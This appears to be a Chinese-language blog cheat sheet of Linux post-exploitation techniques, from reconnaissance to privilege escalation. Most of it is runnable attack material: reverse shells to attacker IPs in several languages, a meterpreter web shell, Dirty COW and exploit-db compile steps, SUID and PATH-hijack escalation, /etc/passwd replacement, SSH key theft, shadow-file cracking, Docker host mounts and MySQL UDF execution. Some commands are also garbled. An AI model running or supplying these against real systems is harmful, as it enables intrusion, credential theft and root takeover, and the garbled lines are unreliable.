常用命令uname -a # 查看內核/操作系統/cpu信息 hend -n 1 /etc/issue # 查看操作系統版本 cat /proc/version # 查看系統信息 hostname # 查看計算機名 env # 查看環境變量 ifconfig # 查看網卡.NETstat -lntp # 查看所有監聽端口 netstat -antp # 查看所有已經建立的連接 netstat -s # 查看網絡統計信息 iptables -L # 查看防火墻設置 route -n # 查看路由表 ps -ef # 查看所有進程 top # 實時顯示進程狀態 w # 查看活動用戶 id # 查看指定用戶信息 last # 查看用戶登錄日志 cut -d: -f1 /etc/passwd # 查看系統所有用戶 cut -d: -f1 /etc/group # 查看系統所有組 crontab -l # 查看當前用戶的計劃任務 chkconfig –list # 列出所有系統服務 chkconfig –list | grep on # 列出所有啟動的系統服務 echo $PATH # 查看系統路徑
反彈shell
在本地使用nc 進行監聽
nc -lvnp 8888
bash反彈shell
bash -i >& /dev/tcp/ip_address/port 0>&1 bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"
nc反彈shell
nc -e /bin/sh 192.168.2.130 4444 # 但某些版本的nc沒有-e參數(非傳統版),則可使用以下方式解決 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Python/ target=_blank class=infotextkey>Python反彈shell
import socket,subprocess,os s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.2.130" , 4444 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call([ "/bin/bash" , "-i" ])
php反彈shell
php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby反彈shell
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
JAVA反彈shell
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
xterm反彈shell
xterm -display 10.0.0.1:1
python調用本地shell實現交互式命令行
終端有些時候系統的命令終端不允許直接訪問,可以使用python虛擬化一個終端來執行
# python2 python -c 'import pty;pty.spawn("/bin/bash")' # python3 python3 -c 'import pty;pty.spawn("/bin/bash")'
linux反彈shell解決亂碼
ctrl+z 放置后臺任務 設置原始格式
stty -echo raw
fg再調用后臺任務
LINUX 內核漏洞提權
通常我們在擁有一個webshell的時候,一般權限都是WEB容器權限,如在iis就是iis用戶組權限,在Apache 就是apache權限,一般都是權限較低,均可執行一些普通命令,如查看當前用戶,網絡信息,ip信息等。如果我想進行內網滲透就必須將權限提權到最高,如系統權限 超級管理員權限。
內核溢出提權
利用堆棧溢出漏洞,根據當前系統 尋找對應的漏洞的exp 使用exp對其進行提權。
使用以下命令進行信息收集
uname -a cat /proc/version cat /etc/issue cat /etc/redhat-release lsb_release -a
根據linux的內核版本去找對應的exp
使用kali自帶的工具進行搜索exp
searchsploit -t Ubuntu 14.04 searchsploit -s Ubuntu 14.04 searchsploit -s Linux Kernel 3.13.0
查看描述
searchsploit -x linux/local/37088.c
在目標機器上使用 wget下載源代碼然后使用gcc進行編譯
python3 -m http.service 80 wget http://192.168.150.145/exp.c gcc exp.c -o exp chmod 777 exp ./exp
臟牛提權 CVE-2016-5195
該漏洞是 Linux 內核的內存子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導致可以破壞私有只讀內存映射。黑客可以在獲取低權限的的本地用戶后,利用此漏洞獲取 其他只讀內存映射的寫權限,進一步獲取 root 權限。
測試環境 ubuntu 14.04
exp下載地址: https://GitHub.com/Brucetg/DirtyCow-EXP
在靶場上新建普通用戶 lian密碼 123456
gcc -pthread dirtyc0w.c -o dirtyc0w chmod +x dirtycow ./dirtycow /etc/group "$(sed '/(sudo*)/ s/$/,lian/' /etc/group)"
已經加入到sodu組 可以切換root用戶
Metasploit linux 提權簡介
Metasploit是一款開源的安全漏洞檢測工具,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,并管理專家驅動的安全性進行評估,提供真正的安全風險情報。這些功能包括智能開發,代碼審計,Web應用程序掃描,社會工程。團隊合作,在Metasploit和綜合報告提出了他們的發現。
使用metasploit linux提權
生成攻擊載荷
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.150.145 LPORT=12345 -f raw > /var/www/html/shell.php file_put_contents('m.php',file_get_contents('http://192.168.150.145/msf.php'));
msfconsole監聽
use exploit/multi/handler set payload php/meterpreter_reverse_tcp set lhost 192.168.150.145 set lport 12345 exploit
訪問 http://192.168.150.157/shell.php 就可以得到一個反彈shell
使用模塊查詢漏洞
run post/multi/recon/local_exploit_suggester
shell 使用終端
https://www.exploit-db.com/exploits/37292
wget https://www.exploit-db.com/exploits/37292 gcc 37292.c -o exp chmod +x exp ./exp
如果成功就會得到一個root
suid提權簡介
SUID是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。也就是如果ROOT用戶給某個可執行文件加了S權限,那么該執行程序運行的時候將擁有ROOT權限。
以下命令可以發現系統上運行的所有SUID可執行文件
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} ;
利用
我們使用find進行提權
find . -exec /bin/sh -p ; -quit
常見suid提權文件有
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
具體的可以參考網站:
https://gtfobins.github.io/
passwd文件替換提權簡介
聽名字就知道我們想要重新生成一個passwd文件然后去替換passwd文件,最后使用高權限用戶進行提權。
利用條件:
passwd文件可讀可寫(基本上不可能)
利用
查看 /etc/passwd 是否可寫
ls -al /etc/passwd
把 原來/etc/passwd 中的文件進行復制
通過openssl passwd生成一個新的用戶hacker,密碼為hack123
openssl passwd -1 -salt hacker hack123
1 1 1hacker$0vnQaCNuzDe3w9d6jHfXQ0
將其追加到之前的/etc/passwd文件中
hacker: 1 1 1hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash
我們把文件放到遠程服務器上使用wget進行下載下來
然后替換passwd文件
cp /tmp/passwd /etc/passwd
我們已經替換成功了 使用su hacker 切換用戶
ssh密鑰提權利用方法
嘗試是否能夠查看用戶目錄下的 id_rsad 文件
查看擁有 /bin/bash 的用戶
cat /etc/passwd | grep bash
cd 到/home/web1/.ssh 下看看有沒有遠程登錄文件
file
我們把 id_rsa 文件復制到本地賦權后使用ssh進行登錄
chmod 600 id_rsa ssh -i id_rsa web1@192.168.150.156
環境劫持提權
環境劫持需要的兩個條件
- 存在帶有suid的文件
- suid文件存在系統命令
尋找suid文件
find / -perm -u=s -type f 2>/dev/null
分析文件 發現是一個查詢進行的命令 所以里面應該是用ps命令
這個二進制文件運行許的時候一定是調用了ps命令,在/tmp命令下 創建ps文件 里面使用 /bin/bash執
行命令
把tmp的路徑添加到當前環境路徑,再訪問 /script目錄 執行shell文件,允許的時候首先會采用/tmp目
錄的ps文件作為命令
所以可以劫持root權限進行命令執行
chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /script ./shell
john破解shadow root密文登錄提權利用條件
- /etc/shadow 文件可讀
cat /etc/shadow 打印內容復制到一個文件中
使用john進行破解
john會自動檢測密文類型 --wordlist 密碼字段文件
john --wordlist="/usr/share/wordlists/rockyou.txt" passwd.txt
這個工具有的時候能夠破解出來,有的時候不行。
我們可以利用破解出來的密碼進行登錄,以獲取一個更高的權限。
Ubuntu計劃任務反彈shell提權
當獲取一個linux普通用戶的時,查看計劃任務
cat /etc/crontab
嘗試修改 test.sh 文件為 反彈shell
bash -i >& /dev/tcp/192.168.150.145/7777 0>&1
在kali 上再開一個nc監聽
nc -lvnp 7777
成功獲取一個root權限
利用Docker 提權
docker是一個容器 可以在同一臺機子虛擬多臺服務。
輸入命令id 和group 查詢當前用戶信息和組信息 發現存在docker組
輸入命令下載使用容器把容器的目錄掛載到宿主的根目錄
docker run -v /:/mnt -it alpine
訪問宿主的/etc/shadow
cat /mnt/etc/shadow
sudo提權簡介
sudo 是一種權限管理機制,管理員可以授權于一些普通用戶去執行一些 root 執行的操作,而不需要知道 root 的密碼。
首先通過信息收集,查看是否存在sudo配置不當的可能。如果存在,尋找低權限sudo用戶的密碼,進而提權。
sudo -l # 列出目前用戶可執行與無法執行的指令。
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-bKtdJRsM-1658060018474)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1658059738525.png)]
可以看到可以使用root特權下的cat命令,所以可以讀取任何文件
原理
通常運維會將一些需要 sudo的命令 集成到某個用戶或者某個組,然后在/etc/sudoers文件內進行設置
首先設置 chmod +w cat /etc/sudoers 使用vi對其編輯 保存即可
# User privilege specification root ALL=(ALL:ALL) ALL moonsec ALL=(root) NOPASSWD:/bin/cat # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives:
NOPASSWD 不需要密碼 使用cat命令 并且具有特權權限。
linux MySQL udf提權
如果在linux中 存在mysql ,可以試用mysql提權 但是幾率不會太大
查看是否存在plugin目錄
show variables like '%plugin%';
在kali在中使用以下命令進行上傳udf.so文件
cd /usr/share/sqlmap/extra/cloak/ sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so 進行解碼 wget http://192.168.0.109/lib_mysqludf_sys.so
登錄mysql創建函數
use mysql
創建函數
create function sys_eval returns string soname "udf.so"; select sys_eval('id');
提權失敗的原因
- plugin 不存在 或者 沒權限寫入文件
- udf so文件 版本不對
- 設置權限
sudo ln -s /etc/Apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
利用提權信息收集腳本LinEnum
GitHub下載地址:https://github.com/rebootuser/LinEnum
下載執行
wget -O - http://192.168.0.109/LinEnum.sh | bash
linuxprivchecker
python2 版本:https://github.com/sleventyeleven/linuxprivchecker
python3 版本:https://github.com/swarley7/linuxprivchecker
python3 linuxprivchecker.py
linux-exploit-suggester2
GitHub下載地址:https://github.com/jondonas/linux-exploit-suggester-2
自動檢測
./linux-exploit-suggester-2.pl
指定版本
./linux-exploit-suggester-2.pl -k 3.0.0